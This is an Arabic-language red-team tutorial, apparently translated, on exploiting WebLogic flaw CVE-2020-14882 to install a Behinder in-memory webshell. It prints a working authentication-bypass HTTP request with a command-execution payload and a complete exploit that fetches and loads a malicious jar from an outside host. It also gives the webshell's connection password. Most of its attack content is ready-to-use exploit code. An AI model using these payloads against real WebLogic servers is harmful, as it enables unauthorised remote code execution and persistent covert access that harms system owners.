
استغلال CVE-2020-14882 لنشر حصان طروادة ذاكري (Memory Webshell) لأداة Behinder
كما هو معروف، فإن CVE-2020-14882 هي ثغرة وصول غير مصرح به، حيث يمكن للمهاجم استغلالها لتنفيذ كود عشوائي على خادم WebLogic Server المتأثر.
إن الـ PoC المنشور على الإنترنت يتجاوز الوصول عبر أحرف غير قانونية، ثم يستدعي تنفيذ الأوامر عبر Gadget. لكن في سيناريوهات التطبيق الفعلية وهجمات الفريق الأحمر، فإن مجرد تنفيذ الأوامر ليس كافيًا على الإطلاق، وهنا تصبح كيفية مواصلة استغلال الثغرة غير المصرح بها لنشر حصان الذاكرة أمرًا بالغ الأهمية.
المقالات التحليلية للثغرة كثيرة على الإنترنت، فالأمر يتعلق بمشكلة الترميز المزدوج، دعونا ننظر مباشرة إلى كود PoC المنشور على الإنترنت:
POST /console/images/%252e%252e/console.portal HTTP/1.1
Host: 192.168.137.129:7001
cmd: whoami
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.137.129:7001/console/login/LoginForm.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=bVc4ldVQMjOVUU4Ch2gfrbdjJzOseetqLr98eCB-_a-1KoUGzBLm!2048667864; ADMINCONSOLESESSION=6KHjgTjHTJphTvmMmpSd6L1c1gmnwwD1nnjT2J5p6JrrhvxHjChb!355090686
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1182
_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')
حاليًا، الإصدارات التي تدعم الإرجاع (Echo) هي Weblogic 12.2.1 والإصدارات الأحدث فقط، وذلك لأن هذه الفئة غير موجودة في الإصدار 10.3.6. يمكن ملاحظة أن هذا الإصدار ينفذ الكود العشوائي عبر gadget com.tangosol.coherence.mvel2.sh.ShellSession. عندها يمكن استخدام java.net.URLClassLoader لتحميل الفئات الخبيثة وبالتالي حقن حصان الذاكرة. URLClassLoader هو فئة تنفيذ من ClassLoader، فهو قادر على تحميل فئات الملفات الثنائية من المحلي وكذلك تحميل الفئات من بُعد.
حصان ذاكرة Behinder لـ Weblogic

التغليف وإنشاء ملف jar

ثم نقوم باستدعاء URLClassLoader للتحميل عن بُعد عبر gadget com.tangosol.coherence.mvel2.sh.ShellSession. الكود كما يلي:
com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();");
الـ Exp الكامل
GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();"); HTTP/1.1
Host: 192.168.100.120:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate1
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0

كلمة مرور الاتصال في Behinder هي: rebeyond

ملاحظة: الإصدار الافتراضي من Behinder لا يدعم حصان الذاكرة.
الروابط المرجعية: